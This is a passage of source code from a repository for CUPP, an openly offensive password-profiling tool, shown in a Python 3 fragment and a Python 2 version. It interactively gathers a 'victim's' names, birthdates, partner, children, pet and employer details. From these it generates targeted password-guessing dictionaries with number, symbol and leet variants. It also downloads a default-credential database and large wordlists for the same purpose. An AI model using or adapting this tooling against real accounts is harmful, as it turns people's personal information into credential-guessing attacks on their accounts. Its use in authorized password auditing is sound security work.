('swedish', 'words.swedish.gz'), 555 | 36: ('turkish', 'turkish.dict.gz'), 556 | 37: ('yiddish', 'yiddish.gz'), 557 | } 558 | 559 | download_ftp_files(*(arguments[option])) 560 | 561 | 562 | def alectodb_download(): 563 | """Download csv from alectodb and save into local file as a list of 564 | usernames and passwords""" 565 | url = CONFIG['alectourl'] 566 | local_file_name = url.split('/')[-1] 567 | 568 | print("\n[+] Checking if alectodb is not present...") 569 | if not os.path.isfile('alectodb.csv.gz'): 570 | print("[+] Downloading alectodb.csv.gz...") 571 | web_file = urlopen(url) 572 | local_file = open(local_file_name, 'w') 573 | local_file.write(web_file.read()) 574 | web_file.close() 575 | local_file.close() 576 | 577 | f = gzip.open(local_file_name, 'rb') 578 | 579 | data = csv.reader(f) 580 | 581 | usernames = [] 582 | passwords = [] 583 | for row in data: 584 | usernames.append(row[5]) 585 | passwords.append(row[6]) 586 | gus = sorted(set(usernames)) 587 | gpa = sorted(set(passwords)) 588 | f.close() 589 | 590 | print("\n[+] Exporting to alectodb-usernames.txt and alectodb-passwords.txt") 591 | with open('alectodb-usernames.txt', 'w') as usernames_file: 592 | usernames_file.write(os.linesep.join(gus)) 593 | 594 | with open('alectodb-passwords.txt', 'w') as passwords_file: 595 | passwords_file.write(os.linesep.join(gpa)) 596 | print("[+] Done.") 597 | 598 | 599 | def concats(seq, start, stop): 600 | "Helper function for concatenations." 601 | for s in seq: 602 | for num in range(start, stop): 603 | yield s + str(num) 604 | 605 | 606 | def komb(seq, start): 607 | "Helper function for sorting and making combinations." 608 | for mystr in seq: 609 | for mystr1 in start: 610 | yield mystr + mystr1 611 | 612 | def leet_replace(s): 613 | """Replace all instances of a character in a string with their 1337 614 | counterpart as defined in LEET_CONFIG""" 615 | for c, n in LEET_CONFIG.items(): 616 | s = s.replace(c, n) 617 | return s 618 | 619 | 620 | def improve_dictionary(filename): 621 | """Implementation of the -w option. Improve a dictionary by 622 | interactively questioning the user.""" 623 | with open(filename) as fajl: 624 | listic = fajl.readlines() 625 | linije = len(listic) 626 | 627 | listica = [] 628 | for x in listic: 629 | listica.extend(x.split()) 630 | 631 | print() 632 | print(" *************************************************") 633 | print(" * \033[1;31mWARNING!!!\033[1;m *") 634 | print(" * Using large wordlists in some *") 635 | print(" * options bellow is NOT recommended! *") 636 | print(" *************************************************\n") 637 | 638 | prompt = "Do you want to concatenate all words from wordlist? Y/[N]: " 639 | conts = input(prompt).lower().strip() 640 | 641 | if conts == 'y' and linije > CONFIG['threshold']: 642 | print("\n[-] Maximum number of words for concatenation is %i" % CONFIG['threshold']) 643 | print("[-] Check configuration file for increasing this number.\n") 644 | conts = input(prompt).lower().strip() 645 | cont = [] 646 | if conts == 'y': 647 | for cont1 in listica: 648 | for cont2 in listica: 649 | if listica.index(cont1) != listica.index(cont2): 650 | cont.append(cont1+cont2) 651 | 652 | spechars = [] 653 | prompt = "Do you want to add special chars at the end of words? Y/[N]: " 654 | spechars1 = input(prompt).lower() 655 | if spechars1 == "y": 656 | for spec1 in CONFIG['chars']: 657 | spechars.append(spec1) 658 | for spec2 in CONFIG['chars']: 659 | spechars.append(spec1+spec2) 660 | for spec3 in CONFIG['chars']: 661 | spechars.append(spec1+spec2+spec3) 662 | 663 | prompt = "Do you want to add some random numbers at the end of words? Y/[N]: " 664 | randnum = input(prompt).lower().strip() 665 | leetmode = input("Leet mode? (i.e. leet = 1337) Y/[N]: ").lower().strip() 666 | 667 | 668 | kombinacija1 = list(komb(listica, CONFIG['years'])) 669 | kombinacija2 = [] 670 | if conts == "y": 671 | kombinacija2 = list(komb(cont, CONFIG['years'])) 672 | kombinacija3 = [] 673 | kombinacija4 = [] 674 | if spechars1 == "y": 675 | kombinacija3 = list(komb(listica, spechars)) 676 | if conts == "y": 677 | kombinacija4 = list(komb(cont, spechars)) 678 | kombinacija5 = [] 679 | kombinacija6 = [] 680 | if randnum == "y": 681 | kombinacija5 = list(concats(listica, CONFIG['numfrom'], CONFIG['numto'])) 682 | if conts == "y": 683 | kombinacija6 = list(concats(cont, CONFIG['numfrom'], CONFIG['numto'])) 684 | 685 | print("\n[+] Now making a dictionary...") 686 | 687 | print("[+] Sorting list and removing duplicates...") 688 | 689 | sets = [set(kombinacija1), set(kombinacija2), set(kombinacija3), 690 | set(kombinacija4), set(kombinacija5), set(kombinacija6), 691 | set(listica), set(cont)] 692 | 693 | uniqset = set() 694 | for s in sets: 695 | uniqset.update(s) 696 | 697 | unique_lista = sorted(uniqset) 698 | unique_leet = [] 699 | if leetmode == "y": 700 | for x in unique_lista: 701 | unique_leet.append(leet_replace(x)) 702 | 703 | unique_list = unique_lista + unique_leet 704 | 705 | unique_list_finished = [x for x in unique_list if CONFIG['wcfrom'] < len(x) < CONFIG['wcto']] 706 | unique_list_finished.sort() 707 | 708 | with open(filename+'.cupp.txt', 'w') as f: 709 | f.write(os.linesep.join(unique_list_finished)) 710 | 711 | with open(filename+'.cupp.txt') as f: 712 | lines = len(list(f)) 713 | 714 | message = ("[+] Saving dictionary to \033[1;31m%s.cupp.txt\033[1;m, counting" 715 | " \033[1;31m%i words.\033[1;m") 716 | print(message % (filename, lines)) 717 | message = ("[+] Now load your pistolero with \033[1;31m%s.cupp.txt\033[1;m" 718 | " and shoot! Good luck!") 719 | print(message % filename) 720 | 721 | 722 | if __name__ == '__main__': 723 | main() 724 | -------------------------------------------------------------------------------- /cupp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # [Program] 4 | # 5 | # CUPP 3.1.0-alpha 6 | # Common User Passwords Profiler 7 | # 8 | # 9 | # 10 | # [Author] 11 | # 12 | # Muris Kurgas aka j0rgan 13 | # j0rgan [at] remote-exploit [dot] org 14 | # http://www.remote-exploit.org 15 | # http://www.azuzi.me 16 | # 17 | # 18 | # 19 | # [License] 20 | # 21 | # This program is free software; you can redistribute it and/or modify 22 | # it under the terms of the GNU General Public License as published by 23 | # the Free Software Foundation; either version 3 of the License, or 24 | # any later version. 25 | # 26 | # This program is distributed in the hope that it will be useful, 27 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 28 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 29 | # GNU General Public License for more details. 30 | # 31 | # You should have received a copy of the GNU General Public License 32 | # along with this program; if not, write to the Free Software 33 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 34 | # 35 | # See 'docs/LICENSE' for more information. 36 | 37 | import sys 38 | import os 39 | import ftplib 40 | import ConfigParser 41 | import urllib 42 | import gzip 43 | import csv 44 | 45 | 46 | # Reading configuration file... 47 | config = ConfigParser.ConfigParser() 48 | config.read('cupp.cfg') 49 | 50 | years = config.get('years', 'years').split(',') 51 | chars = config.get('specialchars', 'chars').split(',') 52 | 53 | numfrom = config.getint('nums','from') 54 | numto = config.getint('nums','to') 55 | 56 | wcfrom = config.getint('nums','wcfrom') 57 | wcto = config.getint('nums','wcto') 58 | 59 | threshold = config.getint('nums','threshold') 60 | 61 | # 1337 mode configs, well you can add more lines if you add it to config file too. 62 | # You will need to add more lines in two places in cupp.py code as well... 63 | a = config.get('leet','a') 64 | i = config.get('leet','i') 65 | e = config.get('leet','e') 66 | t = config.get('leet','t') 67 | o = config.get('leet','o') 68 | s = config.get('leet','s') 69 | g = config.get('leet','g') 70 | z = config.get('leet','z') 71 | 72 | 73 | # for concatenations... 74 | 75 | def concats(seq, start, stop): 76 | for mystr in seq: 77 | for num in xrange(start, stop): 78 | yield mystr + str(num) 79 | 80 | 81 | # for sorting and making combinations... 82 | 83 | def komb(seq, start, special = ""): 84 | for mystr in seq: 85 | for mystr1 in start: 86 | yield mystr + special + mystr1 87 | 88 | # print list to file counting words 89 | 90 | def print_to_file(filename, unique_list_finished): 91 | f = open ( filename, 'w' ) 92 | unique_list_finished.sort() 93 | f.write (os.linesep.join(unique_list_finished)) 94 | f = open ( filename, 'r' ) 95 | lines = 0 96 | for line in f: 97 | lines += 1 98 | f.close() 99 | print "[+] Saving dictionary to \033[1;31m"+filename+"\033[1;m, counting \033[1;31m"+str(lines)+" words.\033[1;m" 100 | print "[+] Now load your pistolero with \033[1;31m"+filename+"\033[1;m and shoot! Good luck!" 101 | 102 | if len(sys.argv) < 2 or sys.argv[1] == '-h': 103 | print " ___________ " 104 | print " \033[07m cupp.py! \033[27m # Common" 105 | print " \ # User" 106 | print " \ \033[1;31m,__,\033[1;m # Passwords" 107 | print " \ \033[1;31m(\033[1;moo\033[1;31m)____\033[1;m # Profiler" 108 | print " \033[1;31m(__) )\ \033[1;m " 109 | print " \033[1;31m ||--|| \033[1;m\033[05m*\033[25m\033[1;m [ Muris Kurgas | j0rgan@remote-exploit.org ]\r\n\r\n" 110 | 111 | print " [ Options ]\r\n" 112 | print " -h You are looking at it baby! :)" 113 | print " For more help take a look in docs/README" 114 | print " Global configuration file is cupp.cfg\n" 115 | 116 | print " -i Interactive questions for user password profiling\r\n" 117 | 118 | print " -w Use this option to improve existing dictionary," 119 | print " or WyD.pl output to make some pwnsauce\r\n" 120 | 121 | print " -l Download huge wordlists from repository\r\n" 122 | print " -a Parse default usernames and passwords directly from Alecto DB." 123 | print " Project Alecto uses purified databases of Phenoelit and CIRT" 124 | print " which where merged and enhanced.\r\n" 125 | print " -v Version of the program\r\n" 126 | exit() 127 | 128 | elif sys.argv[1] == '-v': 129 | print "\r\n \033[1;31m[ cupp.py ] v3.1.0-alpha\033[1;m\r\n" 130 | print " * Hacked up by j0rgan - j0rgan@remote-exploit.org" 131 | print " * http://www.remote-exploit.org\r\n" 132 | print " Take a look ./README.md file for more info about the program\r\n" 133 | exit() 134 | 135 | 136 | elif sys.argv[1] == '-w': 137 | if len(sys.argv) < 3: 138 | print "\r\n[Usage]: "+sys.argv[0]+" -w [FILENAME]\r\n" 139 | exit() 140 | fajl = open(sys.argv[2], "r") 141 | listic = fajl.readlines() 142 | linije = 0 143 | for line in listic: 144 | linije += 1 145 | 146 | listica = [] 147 | for x in listic: 148 | listica += x.split() 149 | 150 | print "\r\n *************************************************" 151 | print " * \033[1;31mWARNING!!!\033[1;m *" 152 | print " * Using large wordlists in some *" 153 | print " * options bellow is NOT recommended! *" 154 | print " *************************************************\r\n" 155 | 156 | conts = raw_input("> Do you want to concatenate all words from wordlist? Y/[N]: ").lower() 157 | 158 | 159 | 160 | if conts == "y" and linije > threshold: 161 | print "\r\n[-] Maximum number of words for concatenation is "+str(threshold) 162 | print "[-] Check configuration file for increasing this number.\r\n" 163 | conts = raw_input("> Do you want to concatenate all words from wordlist? Y/[N]: ").lower() 164 | conts = conts 165 | cont = [''] 166 | if conts == "y": 167 | for cont1 in listica: 168 | for cont2 in listica: 169 | if listica.index(cont1) != listica.index(cont2): 170 | cont.append(cont1+cont2) 171 | 172 | spechars = [''] 173 | spechars1 = raw_input("> Do you want to add special chars at the end of words? Y/[N]: ").lower() 174 | if spechars1 == "y": 175 | for spec1 in chars: 176 | spechars.append(spec1) 177 | for spec2 in chars: 178 | spechars.append(spec1+spec2) 179 | for spec3 in chars: 180 | spechars.append(spec1+spec2+spec3) 181 | 182 | randnum = raw_input("> Do you want to add some random numbers at the end of words? Y/[N]:").lower() 183 | leetmode = raw_input("> Leet mode? (i.e. leet = 1337) Y/[N]: ").lower() 184 | 185 | 186 | kombinacija1 = list(komb(listica, years)) 187 | kombinacija2 = [''] 188 | if conts == "y": 189 | kombinacija2 = list(komb(cont, years)) 190 | kombinacija3 = [''] 191 | kombinacija4 = [''] 192 | if spechars1 == "y": 193 | kombinacija3 = list(komb(listica, spechars)) 194 | if conts == "y": 195 | kombinacija4 = list(komb(cont, spechars)) 196 | kombinacija5 = [''] 197 | kombinacija6 = [''] 198 | if randnum == "y": 199 | kombinacija5 = list(concats(listica, numfrom, numto)) 200 | if conts == "y": 201 | kombinacija6 = list(concats(cont, numfrom, numto)) 202 | 203 | print "\r\n[+] Now making a dictionary..." 204 | 205 | print "[+] Sorting list and removing duplicates..." 206 | 207 | komb_unique1 = dict.fromkeys(kombinacija1).keys() 208 | komb_unique2 = dict.fromkeys(kombinacija2).keys() 209 | komb_unique3 = dict.fromkeys(kombinacija3).keys() 210 | komb_unique4 = dict.fromkeys(kombinacija4).keys() 211 | komb_unique5 = dict.fromkeys(kombinacija5).keys() 212 | komb_unique6 = dict.fromkeys(kombinacija6).keys() 213 | komb_unique7 = dict.fromkeys(listica).keys() 214 | komb_unique8 = dict.fromkeys(cont).keys() 215 | 216 | uniqlist = komb_unique1+komb_unique2+komb_unique3+komb_unique4+komb_unique5+komb_unique6+komb_unique7+komb_unique8 217 | 218 | unique_lista = dict.fromkeys(uniqlist).keys() 219 | unique_leet = [] 220 | if leetmode == "y": 221 | for x in unique_lista: # if you want to add more leet chars, you will need to add more lines in cupp.cfg too... 222 | x = x.replace('a',a) 223 | x = x.replace('i',i) 224 | x = x.replace('e',e) 225 | x = x.replace('t',t) 226 | x = x.replace('o',o) 227 | x = x.replace('s',s) 228 | x = x.replace('g',g) 229 | x = x.replace('z',z) 230 | unique_leet.append(x) 231 | 232 | unique_list = unique_lista + unique_leet 233 | 234 | unique_list_finished = [] 235 | 236 | unique_list_finished = [x for x in unique_list if len(x) > wcfrom and len(x) < wcto] 237 | 238 | print_to_file(sys.argv[2]+'.cupp.txt', unique_list_finished) 239 | 240 | fajl.close() 241 | exit() 242 | 243 | 244 | 245 | elif sys.argv[1] == '-i': 246 | print "\r\n[+] Insert the informations about the victim to make a dictionary" 247 | print "[+] If you don't know all the info, just hit enter when asked! ;)\r\n" 248 | 249 | # We need some informations first! 250 | 251 | name = raw_input("> First Name: ").lower() 252 | while len(name) == 0 or name == " " or name == " " or name == " ": 253 | print "\r\n[-] You must enter a name at least!" 254 | name = raw_input("> Name: ").lower() 255 | name = str(name) 256 | 257 | surname = raw_input("> Surname: ").lower() 258 | nick = raw_input("> Nickname: ").lower() 259 | birthdate = raw_input("> Birthdate (DDMMYYYY): ") 260 | while len(birthdate) != 0 and len(birthdate) != 8: 261 | print "\r\n[-] You must enter 8 digits for birthday!" 262 | birthdate = raw_input("> Birthdate (DDMMYYYY): ") 263 | birthdate = str(birthdate) 264 | 265 | print "\r\n" 266 | 267 | wife = raw_input("> Partners) name: ").lower() 268 | wifen = raw_input("> Partners) nickname: ").lower() 269 | wifeb = raw_input("> Partners) birthdate (DDMMYYYY): ") 270 | while len(wifeb) != 0 and len(wifeb) != 8: 271 | print "\r\n[-] You must enter 8 digits for birthday!" 272 | wifeb = raw_input("> Partners birthdate (DDMMYYYY): ") 273 | wifeb = str(wifeb) 274 | print "\r\n" 275 | 276 | kid = raw_input("> Child's name: ").lower() 277 | kidn = raw_input("> Child's nickname: ").lower() 278 | kidb = raw_input("> Child's birthdate (DDMMYYYY): ") 279 | while len(kidb) != 0 and len(kidb) != 8: 280 | print "\r\n[-] You must enter 8 digits for birthday!" 281 | kidb = raw_input("> Child's birthdate (DDMMYYYY): ") 282 | kidb = str(kidb) 283 | print "\r\n" 284 | 285 | pet = raw_input("> Pet's name: ").lower() 286 | company = raw_input("> Company name: ").lower() 287 | print "\r\n" 288 | 289 | words = [''] 290 | words1 = raw_input("> Do you want to add some key words about the victim? Y/[N]: ").lower() 291 | words2 = "" 292 | if words1 == "y": 293 | words2 = raw_input("> Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: ").replace(" ","") 294 | words = words2.split(",") 295 | 296 | spechars = [''] 297 | spechars1 = raw_input("> Do you want to add special chars at the end of words? Y/[N]: ").lower() 298 | if spechars1 == "y": 299 | for spec1 in chars: 300 | spechars.append(spec1) 301 | for spec2 in chars: 302 | spechars.append(spec1+spec2) 303 | for spec3 in chars: 304 | spechars.append(spec1+spec2+spec3) 305 | 306 | randnum = raw_input("> Do you want to add some random numbers at the end of words? Y/[N]:").lower() 307 | leetmode = raw_input("> Leet mode? (i.e. leet = 1337) Y/[N]: ").lower() 308 | 309 | 310 | print "\r\n[+] Now making a dictionary..." 311 | 312 | 313 | # Now me must do some string modifications... 314 | 315 | # Birthdays first 316 | 317 | birthdate_yy = birthdate[-2:] 318 | birthdate_yyy = birthdate[-3:] 319 | birthdate_yyyy = birthdate[-4:] 320 | birthdate_xd = birthdate[1:2] 321 | birthdate_xm = birthdate[3:4] 322 | birthdate_dd = birthdate[:2] 323 | birthdate_mm = birthdate[2:4] 324 | 325 | wifeb_yy = wifeb[-2:] 326 | wifeb_yyy = wifeb[-3:] 327 | wifeb_yyyy = wifeb[-4:] 328 | wifeb_xd = wifeb[1:2] 329 | wifeb_xm = wifeb[3:4] 330 | wifeb_dd = wifeb[:2] 331 | wifeb_mm = wifeb[2:4] 332 | 333 | kidb_yy = kidb[-2:] 334 | kidb_yyy = kidb[-3:] 335 | kidb_yyyy = kidb[-4:] 336 | kidb_xd = kidb[1:2] 337 | kidb_xm = kidb[3:4] 338 | kidb_dd = kidb[:2] 339 | kidb_mm = kidb[2:4] 340 | 341 | 342 | # Convert first letters to uppercase... 343 | 344 | nameup = name.title() 345 | surnameup = surname.title() 346 | nickup = nick.title() 347 | wifeup = wife.title() 348 | wifenup = wifen.title() 349 | kidup = kid.title() 350 | kidnup = kidn.title() 351 | petup = pet.title() 352 | companyup = company.title() 353 | 354 | wordsup = [] 355 | wordsup = map(str.title, words) 356 | 357 | word = words+wordsup 358 | 359 | # reverse a name 360 | 361 | rev_name = name[::-1] 362 | rev_nameup = nameup[::-1] 363 | rev_nick = nick[::-1] 364 | rev_nickup = nickup[::-1] 365 | rev_wife = wife[::-1] 366 | rev_wifeup = wifeup[::-1] 367 | rev_kid = kid[::-1] 368 | rev_kidup = kidup[::-1] 369 | 370 | reverse = [rev_name, rev_nameup, rev_nick, rev_nickup, rev_wife, rev_wifeup, rev_kid, rev_kidup] 371 | rev_n = [rev_name, rev_nameup, rev_nick, rev_nickup] 372 | rev_w = [rev_wife, rev_wifeup] 373 | rev_k = [rev_kid, rev_kidup] 374 | # Let's do some serious work! This will be a mess of code, but... who cares? :) 375 | 376 | # Birthdays combinations 377 | 378 | bds = [birthdate_yy, birthdate_yyy, birthdate_yyyy, birthdate_xd, birthdate_xm, birthdate_dd, birthdate_mm] 379 | 380 | bdss = [] 381 | 382 | for bds1 in bds: 383 | bdss.append(bds1) 384 | for bds2 in bds: 385 | if bds.index(bds1) != bds.index(bds2): 386 | bdss.append(bds1+bds2) 387 | for bds3 in bds: 388 | if bds.index(bds1) != bds.index(bds2) and bds.index(bds2) != bds.index(bds3) and bds.index(bds1) != bds.index(bds3): 389 | bdss.append(bds1+bds2+bds3) 390 | 391 | 392 | 393 | # For a woman... 394 | wbds = [wifeb_yy, wifeb_yyy, wifeb_yyyy, wifeb_xd, wifeb_xm, wifeb_dd, wifeb_mm] 395 | 396 | wbdss = [] 397 | 398 | for wbds1 in wbds: 399 | wbdss.append(wbds1) 400 | for wbds2 in wbds: 401 | if wbds.index(wbds1) != wbds.index(wbds2): 402 | wbdss.append(wbds1+wbds2) 403 | for wbds3 in wbds: 404 | if wbds.index(wbds1) != wbds.index(wbds2) and wbds.index(wbds2) != wbds.index(wbds3) and wbds.index(wbds1) != wbds.index(wbds3): 405 | wbdss.append(wbds1+wbds2+wbds3) 406 | 407 | 408 | 409 | # and a child... 410 | kbds = [kidb_yy, kidb_yyy, kidb_yyyy, kidb_xd, kidb_xm, kidb_dd, kidb_mm] 411 | 412 | kbdss = [] 413 | 414 | for kbds1 in kbds: 415 | kbdss.append(kbds1) 416 | for kbds2 in kbds: 417 | if kbds.index(kbds1) != kbds.index(kbds2): 418 | kbdss.append(kbds1+kbds2) 419 | for kbds3 in kbds: 420 | if kbds.index(kbds1) != kbds.index(kbds2) and kbds.index(kbds2) != kbds.index(kbds3) and kbds.index(kbds1) != kbds.index(kbds3): 421 | kbdss.append(kbds1+kbds2+kbds3) 422 | 423 | # string combinations.... 424 | 425 | kombinaac = [pet, petup, company, companyup] 426 | 427 | kombina = [name, surname, nick, nameup, surnameup, nickup] 428 | 429 | kombinaw = [wife, wifen, wifeup, wifenup, surname, surnameup] 430 | 431 | kombinak = [kid, kidn, kidup, kidnup, surname, surnameup] 432 | 433 | kombinaa = [] 434 | for kombina1 in kombina: 435 | kombinaa.append(kombina1) 436 | for kombina2 in kombina: 437 | if kombina.index(kombina1) != kombina.index(kombina2) and kombina.index(kombina1.title()) != kombina.index(kombina2.title()): 438 | kombinaa.append(kombina1+kombina2) 439 | 440 | kombinaaw = [] 441 | for kombina1 in kombinaw: 442 | kombinaaw.append(kombina1) 443 | for kombina2 in kombinaw: 444 | if kombinaw.index(kombina1) != kombinaw.index(kombina2) and kombinaw.index(kombina1.title()) != kombinaw.index(kombina2.title()): 445 | kombinaaw.append(kombina1+kombina2) 446 | 447 | kombinaak = [] 448 | for kombina1 in kombinak: 449 | kombinaak.append(kombina1) 450 | for kombina2 in kombinak: 451 | if kombinak.index(kombina1) != kombinak.index(kombina2) and kombinak.index(kombina1.title()) != kombinak.index(kombina2.title()): 452 | kombinaak.append(kombina1+kombina2) 453 | 454 | 455 | 456 | komb1 = list(komb(kombinaa, bdss)) 457 | komb1 += list(komb(kombinaa, bdss, "_")) 458 | komb2 = list(komb(kombinaaw, wbdss)) 459 | komb2 += list(komb(kombinaaw, wbdss, "_")) 460 | komb3 = list(komb(kombinaak, kbdss)) 461 | komb3 += list(komb(kombinaak, kbdss, "_")) 462 | komb4 = list(komb(kombinaa, years)) 463 | komb4 += list(komb(kombinaa, years, "_")) 464 | komb5 = list(komb(kombinaac, years)) 465 | komb5 += list(komb(kombinaac, years, "_")) 466 | komb6 = list(komb(kombinaaw, years)) 467 | komb6 += list(komb(kombinaaw, years, "_")) 468 | komb7 = list(komb(kombinaak, years)) 469 | komb7 += list(komb(kombinaak, years, "_")) 470 | komb8 = list(komb(word, bdss)) 471 | komb8 += list(komb(word, bdss, "_")) 472 | komb9 = list(komb(word, wbdss)) 473 | komb9 += list(komb(word, wbdss, "_")) 474 | komb10 = list(komb(word, kbdss)) 475 | komb10 += list(komb(word, kbdss, "_")) 476 | komb11 = list(komb(word, years)) 477 | komb11 += list(komb(word, years, "_")) 478 | komb12 = [''] 479 | komb13 = [''] 480 | komb14 = [''] 481 | komb15 = [''] 482 | komb16 = [''] 483 | komb21 = [''] 484 | if randnum == "y": 485 | komb12 = list(concats(word, numfrom, numto)) 486 | komb13 = list(concats(kombinaa, numfrom, numto)) 487 | komb14 = list(concats(kombinaac, numfrom, numto)) 488 | komb15 = list(concats(kombinaaw, numfrom, numto)) 489 | komb16 = list(concats(kombinaak, numfrom, numto)) 490 | komb21 = list(concats(reverse, numfrom, numto)) 491 | komb17 = list(komb(reverse, years)) 492 | komb17 += list(komb(reverse, years, "_")) 493 | komb18 = list(komb(rev_w, wbdss)) 494 | komb18 += list(komb(rev_w, wbdss, "_")) 495 | komb19 = list(komb(rev_k, kbdss)) 496 | komb19 += list(komb(rev_k, kbdss, "_")) 497 | komb20 = list(komb(rev_n, bdss)) 498 | komb20 += list(komb(rev_n, bdss, "_")) 499 | komb001 = [''] 500 | komb002 = [''] 501 | komb003 = [''] 502 | komb004 = [''] 503 | komb005 = [''] 504 | komb006 = [''] 505 | if spechars1 == "y": 506 | komb001 = list(komb(kombinaa, spechars)) 507 | komb002 = list(komb(kombinaac, spechars)) 508 | komb003 = list(komb(kombinaaw , spechars)) 509 | komb004 = list(komb(kombinaak , spechars)) 510 | komb005 = list(komb(word, spechars)) 511 | komb006 = list(komb(reverse, spechars)) 512 | 513 | print "[+] Sorting list and removing duplicates..." 514 | 515 | komb_unique1 = dict.fromkeys(komb1).keys() 516 | komb_unique2 = dict.fromkeys(komb2).keys() 517 | komb_unique3 = dict.fromkeys(komb3).keys() 518 | komb_unique4 = dict.fromkeys(komb4).keys() 519 | komb_unique5 = dict.fromkeys(komb5).keys() 520 | komb_unique6 = dict.fromkeys(komb6).keys() 521 | komb_unique7 = dict.fromkeys(komb7).keys() 522 | komb_unique8 = dict.fromkeys(komb8).keys() 523 | komb_unique9 = dict.fromkeys(komb9).keys() 524 | komb_unique10 = dict.fromkeys(komb10).keys() 525 | komb_unique11 = dict.fromkeys(komb11).keys() 526 | komb_unique12 = dict.fromkeys(komb12).keys() 527 | komb_unique13 = dict.fromkeys(komb13).keys() 528 | komb_unique14 = dict.fromkeys(komb14).keys() 529 | komb_unique15 = dict.fromkeys(komb15).keys() 530 | komb_unique16 = dict.fromkeys(komb16).keys() 531 | komb_unique17 = dict.fromkeys(komb17).keys() 532 | komb_unique18 = dict.fromkeys(komb18).keys() 533 | komb_unique19 = dict.fromkeys(komb19).keys() 534 | komb_unique20 = dict.fromkeys(komb20).keys() 535 | komb_unique21 = dict.fromkeys(komb21).keys() 536 | komb_unique01 = dict.fromkeys(kombinaa).keys() 537 | komb_unique02 = dict.fromkeys(kombinaac).keys() 538 | komb_unique03 = dict.fromkeys(kombinaaw).keys() 539 | komb_unique04 = dict.fromkeys(kombinaak).keys() 540 | komb_unique05 = dict.fromkeys(word).keys() 541 | komb_unique07 = dict.fromkeys(komb001).keys() 542 | komb_unique08 = dict.fromkeys(komb002).keys() 543 | komb_unique09 = dict.fromkeys(komb003).keys() 544 | komb_unique010 = dict.fromkeys(komb004).keys() 545 | komb_unique011 = dict.fromkeys(komb005).keys() 546 | komb_unique012 = dict.fromkeys(komb006).keys() 547 | 548 | uniqlist = bdss+wbdss+kbdss+reverse+komb_unique01+komb_unique02+komb_unique03+komb_unique04+komb_unique05+komb_unique1+komb_unique2+komb_unique3+komb_unique4+komb_unique5+komb_unique6+komb_unique7+komb_unique8+komb_unique9+komb_unique10+komb_unique11+komb_unique12+komb_unique13+komb_unique14+komb_unique15+komb_unique16+komb_unique17+komb_unique18+komb_unique19+komb_unique20+komb_unique21+komb_unique07+komb_unique08+komb_unique09+komb_unique010+komb_unique011+komb_unique012 549 | 550 | unique_lista = dict.fromkeys(uniqlist).keys() 551 | unique_leet = [] 552 | if leetmode == "y": 553 | for x in unique_lista: # if you want to add more leet chars, you will need to add more lines in cupp.cfg too... 554 | x = x.replace('a',a) 555 | x = x.replace('i',i) 556 | x = x.replace('e',e) 557 | x = x.replace('t',t) 558 | x = x.replace('o',o) 559 | x = x.replace('s',s) 560 | x = x.replace('g',g) 561 | x = x.replace('z',z) 562 | unique_leet.append(x) 563 | 564 | unique_list = unique_lista + unique_leet 565 | 566 | unique_list_finished = [] 567 | unique_list_finished = [x for x in unique_list if len(x) < wcto and len(x) > wcfrom] 568 | 569 | print_to_file(name+'.txt', unique_list_finished) 570 | exit() 571 | 572 | 573 | elif sys.argv[1] == '-a': 574 | url = config.get('alecto','alectourl') 575 | 576 | print "\r\n[+] Checking if alectodb is not present..." 577 | if os.path.isfile('alectodb.csv.gz') == 0: 578 | print "[+] Downloading alectodb.csv.gz..." 579 | webFile = urllib.urlopen(url) 580 | localFile = open(url.split('/')[-1], 'w') 581 | localFile.write(webFile.read()) 582 | webFile.close() 583 | localFile.close() 584 | 585 | 586 | f = gzip.open('alectodb.csv.gz', 'rb') 587 | 588 | data = csv.reader(f) 589 | 590 | usernames = [] 591 | passwords = [] 592 | for row in data: 593 | usernames.append(row[5]) 594 | passwords.append(row[6]) 595 | gus = list(set(usernames)) 596 | gpa = list(set(passwords)) 597 | gus.sort() 598 | gpa.sort() 599 | 600 | print "\r\n[+] Exporting to alectodb-usernames.txt and alectodb-passwords.txt\r\n[+] Done." 601 | f = open ( 'alectodb-usernames.txt', 'w' ) 602 | f.write (os.linesep.join(gus)) 603 | f.close() 604 | 605 | f = open ( 'alectodb-passwords.txt', 'w' ) 606 | f.write (os.linesep.join(gpa)) 607 | f.close() 608 | 609 | 610 | f.close() 611 | sys.exit() 612 | 613 | 614 | 615 | elif sys.argv[1] == '-l': 616 | 617 | ftpname = config.get('downloader','ftpname') 618 | ftpurl = config.get('downloader','ftpurl') 619 | ftppath = config.get('downloader','ftppath') 620 | ftpuser = config.get('downloader','ftpuser') 621 | ftppass = config.get('downloader','ftppass') 622 | 623 | 624 | if os.path.isdir('dictionaries') == 0: 625 | os.mkdir('dictionaries') 626 | 627 | print " \r\n Choose the section you want to download:\r\n" 628 | 629 | print " 1 Moby 14 french 27 places" 630 | print " 2 afrikaans 15 german 28 polish" 631 | print " 3 american 16 hindi 39 random" 632 | print " 4 aussie 17 hungarian 30 religion" 633 | print " 5 chinese 18 italian 31 russian" 634 | print " 6 computer 19 japanese 32 science" 635 | print " 7 croatian 20 latin 33 spanish" 636 | print " 8 czech 21 literature 34 swahili" 637 | print " 9 danish 22 movieTV 35 swedish" 638 | print " 10 databases 23 music 36 turkish" 639 | print " 11 dictionaries 24 names 37 yiddish" 640 | print " 12 dutch 25 net 38 exit program" 641 | print " 13 finnish 26 norwegian \r\n" 642 | print " \r\n Files will be downloaded from "+ftpname+" repository" 643 | print " \r\n Tip: After downloading wordlist, you can improve it with -w option\r\n" 644 | 645 | filedown = raw_input("> Enter number: ") 646 | filedown.isdigit() 647 | while filedown.isdigit() == 0: 648 | print "\r\n[-] Wrong choice. " 649 | filedown = raw_input("> Enter number: ") 650 | filedown = str(filedown) 651 | while int(filedown) > 38: 652 | print "\r\n[-] Wrong choice. " 653 | filedown = raw_input("> Enter number: ") 654 | filedown = str(filedown) 655 | 656 | 657 | def handleDownload(block): 658 | file.write(block) 659 | print ".", 660 | 661 | def downloader(): 662 | ftp.login(ftpuser, ftppass) 663 | ftp.cwd(ftppath) 664 | 665 | def filequitter(): 666 | file.close() 667 | print ' done.' 668 | 669 | 670 | if filedown == "1": 671 | print "\r\n[+] connecting...\r\n" 672 | ftp = ftplib.FTP(ftpurl) 673 | downloader() 674 | ftp.cwd('Moby') 675 | if os.path.isdir('dictionaries/Moby/') == 0: 676 | 